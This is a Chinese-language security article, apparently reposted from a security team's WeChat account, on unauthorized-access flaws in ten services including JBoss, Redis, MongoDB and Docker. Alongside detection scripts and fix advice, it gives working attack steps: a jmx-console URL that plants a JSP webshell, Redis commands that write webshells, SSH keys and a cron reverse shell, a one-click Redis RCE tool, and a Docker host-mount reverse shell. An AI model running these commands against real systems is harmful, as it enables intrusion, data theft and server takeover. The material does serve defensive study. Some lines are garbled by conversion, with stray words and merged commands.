常見未受權訪問漏洞總結

本文詳細地介紹了常見未受權訪問漏洞及其利用,具體漏洞列表以下:javascript

  • Jboss 未受權訪問php

  • Jenkins 未受權訪問css

  • ldap未受權訪問java

  • Redis未受權訪問node

  • elasticsearch未受權訪問python

  • MenCache未受權訪問nginx

  • Mongodb未受權訪問git

  • Rsync未受權訪問github

  • Zookeeper未受權訪問web

  • Docker未受權訪問


一、Jboss未受權訪問

漏洞緣由:

在低版本中,默承認以訪問Jboss web控制檯(http://127.0.0.1:8080/jmx-console),無需用戶名和密碼。

漏洞利用:

一、寫入一句話木馬:

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
http://127.0.0.1:8080/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True

二、寫入1.txt文件

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
http://127.0.0.1:8080/August/shell.jsp?f=1.txt&t=hello world!

三、訪問1.txt文件

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
http://127.0.0.1:8080/August/1.txt

檢測工具:jexboss,一個使用Python編寫的Jboss漏洞檢測利用工具,經過它能夠檢測並利用web-console,jmx-console,JMXInvokerServlet這三個漏洞,而且能夠得到一個shell。

修復建議:關閉jmx-console和web-console,提升安全性。

二、Jenkins 未受權訪問

漏洞緣由:未設置密碼,致使未受權訪問。

漏洞測試:直接經過url訪問

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
http://<target>:8080/managehttp://<target>:8080/script

修復建議:設置強口令密碼。

三、ldap未受權訪問

漏洞緣由:沒有對Ldap進行密碼驗證,致使未受權訪問。

檢測腳本:

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
#! /usr/bin/env python# _*_ coding:utf-8 _*_
from ldap3 import Connection,Server,ALLdef ldap_anonymous(ip): try: server = Server(ip,get_info=ALL,connect_timeout=1) conn = Connection(server, auto_bind=True) print "[+] ldap login for anonymous" conn.closed except: #pass print '[-] checking for ldap anonymous fail'

利用工具:使用LdapBrowser直接連入,獲取敏感信息。

修復建議:增長強密碼驗證。

四、Redis未受權訪問

漏洞利用:

姿式一:絕對路徑寫webshell

咱們能夠將dir設置爲一個目錄a,而dbfilename爲文件名b,再執行save或bgsave,則咱們就能夠寫入一個路徑爲a/b的任意文件:

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
config set dir /home/wwwroot/default/config set dbfilename redis.phpset webshell "<?php phpinfo(); ?>"save

姿式二:公私鑰認證獲取root權限

一、ssh免密碼配置

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
ssh-keygen -t rsa -P '' #生成公鑰/私鑰對 cd /root/.ssh/(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt #將公鑰寫入 foo.txt 文件鏈接 Redis 寫入文件

二、鏈接Redis寫入文件

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
cat foo.txt | ./redis-cli -h 192.168.125.140 -x set crackit./redis-cli -h 192.168.125.140config set dir /root/.ssh/config get dirconfig set dbfilename "authorized_keys"save

利用私鑰成功登陸redis服務器

姿式三:利用contrab計劃任務反彈shell

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
config set dir /var/spool/cron/crontabs/config set dbfilename rootflushallset test "* * * * * /bin/bash -i >& /dev/tcp/10.1.1.211:1234 0>&1"save

姿式四:主從複製RCE

在Reids 4.x以後,Redis新增了模塊功能,經過外部拓展,能夠實如今Redis中實現一個新的Redis命令,經過寫C語言編譯並加載惡意的.so文件,達到代碼執行的目的。

經過腳本實現一鍵自動化getshell:

一、生成惡意.so文件,下載RedisModules-ExecuteCommand使用make編譯便可生成。

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommandcd RedisModules-ExecuteCommand/make

二、攻擊端執行:python redis-rce.py -r 目標ip-p 目標端口 -L 本地ip -f 惡意.so

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
git clone https://github.com/Ridter/redis-rce.gitcd redis-rce/cp ../RedisModules-ExecuteCommand/src/module.so ./pip install -r requirements.txt python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so

五、Elasticsearch未受權訪問

漏洞緣由:Elasticsearch 默認端口爲9200 ,攻擊者能夠直接訪問http://ip:port。

檢測腳本:

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
#! /usr/bin/env python# _*_ coding:utf-8 _*_
import requestsdef Elasticsearch_check(ip, port=9200, timeout=5): try:   url = "http://"+ip+":"+str(port)+"/_cat"   response = requests.get(url) except:   pass if "/_cat/master" in response.content:   print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port)

漏洞測試:

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
http://localhost:9200/_cat/indiceshttp://localhost:9200/_river/_search 查看數據庫敏感信息http://localhost:9200/_nodes 查看節點數據
若有安裝head插件:http://localhost:9200/_plugin/head/ web管理界面

修復建議:

一、限制IP訪問,綁定固定IP

二、在config/elasticsearch.yml中爲9200端口設置認證:

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
http.basic.enabled true #開關,開啓會接管所有HTTP鏈接  http.basic.user "admin" #帳號  http.basic.password "admin_pw" #密碼  http.basic.ipwhitelist ["localhost", "127.0.0.1"]

六、MenCache未受權訪問

漏洞緣由:Memcached 分佈式緩存系統,默認的 11211 端口不須要密碼便可訪問,黑客直接訪問便可獲取數據庫中全部信息,形成嚴重的信息泄露。

檢測腳本:

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
#! /usr/bin/env python# _*_ coding:utf-8 _*_def Memcache_check(ip, port=11211, timeout=5): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("stats\r\n") result = s.recv(1024) if "STAT version" in result: print '[+] Memcache Unauthorized: ' +ip+':'+str(port) except Exception, e: pass

漏洞驗證:

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
#無需用戶名密碼,能夠直接鏈接memcache 服務的11211端口。telnet x.x.x.x 11211
stats //查看memcache 服務狀態stats items //查看全部itemsstats cachedump 32 0 //得到緩存keyget :state:264861539228401373:261588 //經過key讀取相應value ,得到實際緩存內容,形成敏感信息泄露

修復建議:綁定的ip地址爲 127.0.0.1,或者經過firewall限制訪問。

七、Mongodb未受權訪問

漏洞緣由:MongoDB 默認是沒有權限驗證的,登陸的用戶能夠經過默認端口無需密碼對數據庫任意操做(增刪改高危動做),並且能夠遠程訪問數據庫。

檢測腳本:

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
#! /usr/bin/env python# _*_ coding:utf-8 _*_
def mongodb(ip,port): try: client = MongoClient(ip,port) db=client.local flag = db.collection_names() if flag: print "[+] Mongodb login for anonymous" except Exception, e: pass

修復建議:增長用戶密碼權限驗證,設置本地監聽或者訪問控制。

八、Rsync未受權訪問

漏洞緣由:未配置帳號密碼認證,致使未受權訪問。

漏洞測試:

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
列舉整個同步目錄或指定目錄:rsync 10.0.0.12 ::rsync 10.0.0.12 :: www /
下載文件或目錄到本地:rsync – avz 10.0.0.12 :: WWW/ /var/tmprsync – avz 10.0.0.12 :: www/ /var/tmp
上傳本地文件到服務端:rsync -avz webshell 10.0.0.12 :: WWW /

修復建議:增長用戶密碼認證,設置訪問ip限制。

九、Zookeeper未受權訪問

漏洞緣由:ZooKeeper默認開啓在2181端口,在未進行任何訪問控制狀況下,攻擊者可經過執行envi命令得到系統大量的敏感信息,包括系統名稱、Java環境。

漏洞測試:

echo envi|nc 192.168.15.74 2181

修復建議:添加用戶名密碼認證,設置ip訪問控制。

十、Docker未受權訪問

漏洞緣由:docker remote api能夠執行docker命令,docker守護進程監聽在0.0.0.0,可直接調用API來操做docker。

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

漏洞利用:

經過docker daemon api 執行docker命令。

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
#列出容器信息,效果與docker ps一致。curl http://<target>:2375/containers/json
#啓動容器docker -H tcp://<target>:2375 ps -a

一、新運行一個容器,掛載點設置爲服務器的根目錄掛載至/mnt目錄下。

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash

二、在容器內執行命令,將反彈shell的腳本寫入到/var/spool/cron/root

  
    
  
  
   
   
            
   
   

  
    
  
  
   
   
            
   
   
echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root

三、本地監聽端口,獲取對方宿主機shell。

加入個人知識星球,獲取更多安全乾貨。

本文分享自微信公衆號 - WhITECat安全團隊(WhITECat_007)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索